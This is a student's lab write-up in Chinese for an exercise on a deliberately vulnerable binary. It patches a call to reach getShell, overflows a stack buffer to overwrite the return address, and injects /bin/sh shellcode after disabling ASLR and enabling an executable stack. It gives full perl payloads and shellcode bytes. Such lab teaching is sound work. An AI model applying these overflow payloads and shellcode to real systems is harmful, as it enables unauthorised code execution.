2019-2020-2 20175322周弋鸿《网络对抗技术》Exp1 PC平台逆向破解

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下：

    • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

  • 这几种思路，基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2 基础知识

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道（|），输入、输出重定向（>）等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。

2 直接修改程序机器指令，改变程序执行流程

  • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

  • 学习目标：理解可执行文件与机器指令

  • 进阶：掌握ELF文件格式，掌握动态技术

--

下载目标文件pwn1,使用objdump -d命令对其进行反汇编。

--

--

--

  • 主函数中call 8048491 <foo>的汇编指令将调用位于地址8048491处的foo函数，其对应机器指令为e8 d7ffffff，e8为跳转之意。当解释执行e8这条指令时，CPU就会执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,80484ba +d7ffffff= 80484ba-0x29是8048491的值。
  • main函数调用foo，对应机器指令为e8 d7ffffff。
  • 如果要修改后让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就可以。
  • 通过计算得到补码为c3ffffff。
  • 修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程。
  • 使用vim打开备份的文件，显示为乱码，输入:%!xxd将显示模式切换为16进制模式。

--

--

  • 查找要修改的内容e8d7ffffff，将其修改为c3ffffff，之后使用:%!xxd -r转换16进制为原格式后保存并退出。
  • 使用objdump -d命令对文件进行反汇编，检查call指令是否正确调用getShell。

--

--

  • 运行文件，发现得到shell提示符，证明修改成功改变了程序执行流程

--

--

3 通过构造输入参数，造成BOF攻击，改变程序执行流

  • 知识要求：堆栈结构，返回地址
  • 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
  • 进阶：掌握ELF文件格式，掌握动态技术

--

  • 使用objdump -d 20175322pwn1 | more进行反汇编，了解程序的基本功能。

--

--

  • 使用gdb调试文件，使程序发生段错误，使用info r查看寄存器的值。

--

--

  • 实践证明输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值。
  • getShell的内存地址为0804847d，输入的字符串应该为11111111222222223333333344444444\x7d\x84\x04\x08。
  • 因为没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
  • 在命令行上直接使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input使输出重定向>将perl生成的字符串存储到文件input中。
  • 使用16进制查看指令xxd input查看input文件的内容是否如预期。

--

--

  • 使用(cat input; cat) | ./20175322pwn1将input的输入，通过管道符|，作为20175322pwn1的输入。
  • 经测试程序已经调用了getShell函数，达到了改变程序执行流的目的。

--

--

4. 注入Shellcode并执行

4.1 准备一段Shellcode

  • shellcode就是一段机器指令（code）
    • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
    • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
  • 实践采用老师推荐的shellcode。如下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\。

4.2 准备工作

  • 利用apt-get install execstack命令安装execstack软件包。

--

--

  • 获取root权限后执行如下命令（以#后的命令为准）
root@zyh175322:/home/kali/exp1# execstack -s pwn1  //设置堆栈可执行
root@zyh175322:/home/kali/exp1# execstack -q pwn1  //查询文件的堆栈是否可执行
X pwn1
root@zyh175322:/home/kali/exp1#  more /proc/sys/kernel/randomize_va_space
root@zyh175322:/home/kali/exp1# echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
root@zyh175322:/home/kali/exp1# more /proc/sys/kernel/randomize_va_space

4.3 构造要注入的payload。

  • Linux下有两种基本构造攻击buf的方法：
    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
  • 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边。
  • 本次实验的buf够放这个shellcode。
  • 所以结构为：nops+shellcode+retaddr。
    • nop一为是了填充，二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
  • 使用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode使输出重定向>将perl生成的字符串存储到文件input_shellcode中。
  • 打开一个终端使用(cat input_shellcode;cat) | ./20175322pwn1注入这段攻击buf。
  • 再开另外一个终端，用gdb来调试20175322pwn1这个进程。输入ps -ef | grep 20175322pwn1找到20175322pwn1的进程号是2580。

--

--

  • 启动gdb使用attach 2580调试这个进程。使用disassemble foo查看到ret的地址。

--

--

  • 通过break *0x080484ae设置断点，然后在另外一个终端中按下回车，这就是前面为什么不能以\x0a来结束input_shellcode的原因。
  • 在gdb终端输入c继续运行，使用info r esp查看栈顶指针所在的位置，并查看改地址存放的数据。

--

--

  • 0xffffd36c存放的数据是0x01020304，那么shellcode地址就是0xffffd370。
  • 修改input_shellcode文件对应代码为：perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。
  • 使用(cat input_shellcode;cat) | ./20175322pwn1将input_shellcode的输入，通过管道符|，作为20175322pwn1的输入。经检验实现了shell功能：

--

--

5 实验收获与感想

  • 本次实验如果死板的按照老师的实验指导来做是不可能成功的，实验中需要我们根据自己电脑的不同数据对命令进行适当改变。通过本次实验我对溢出攻击有了更加深刻的理解，实验过程中我也多次因为小的失误而实验失败，做到最后却要重头再来。C语言程序看似简单却容易出错，这警示我在今后编写代码进行实验时应当更加细致谨慎。

6 什么是漏洞？漏洞有什么危害？

  • 漏洞是系统硬件或软件上存在的弱点或缺陷，是在系统开发过程中产生的安全缺陷。这些缺陷使得攻击者在未授权的情况下可以访问或者破坏系统。
  • 使系统暴露在危险之中，威胁到系统的安全。攻击者可以通过系统的漏洞发起攻击，实现盗取、篡改数据等操作，使一些本来能正常运行的软硬件出现使用的问题，影响到人们正常的工作学习，带来严重的后果。
posted @ 2020-03-10 21:13  20175322周弋鸿  阅读(157)  评论(0)  编辑  收藏  举报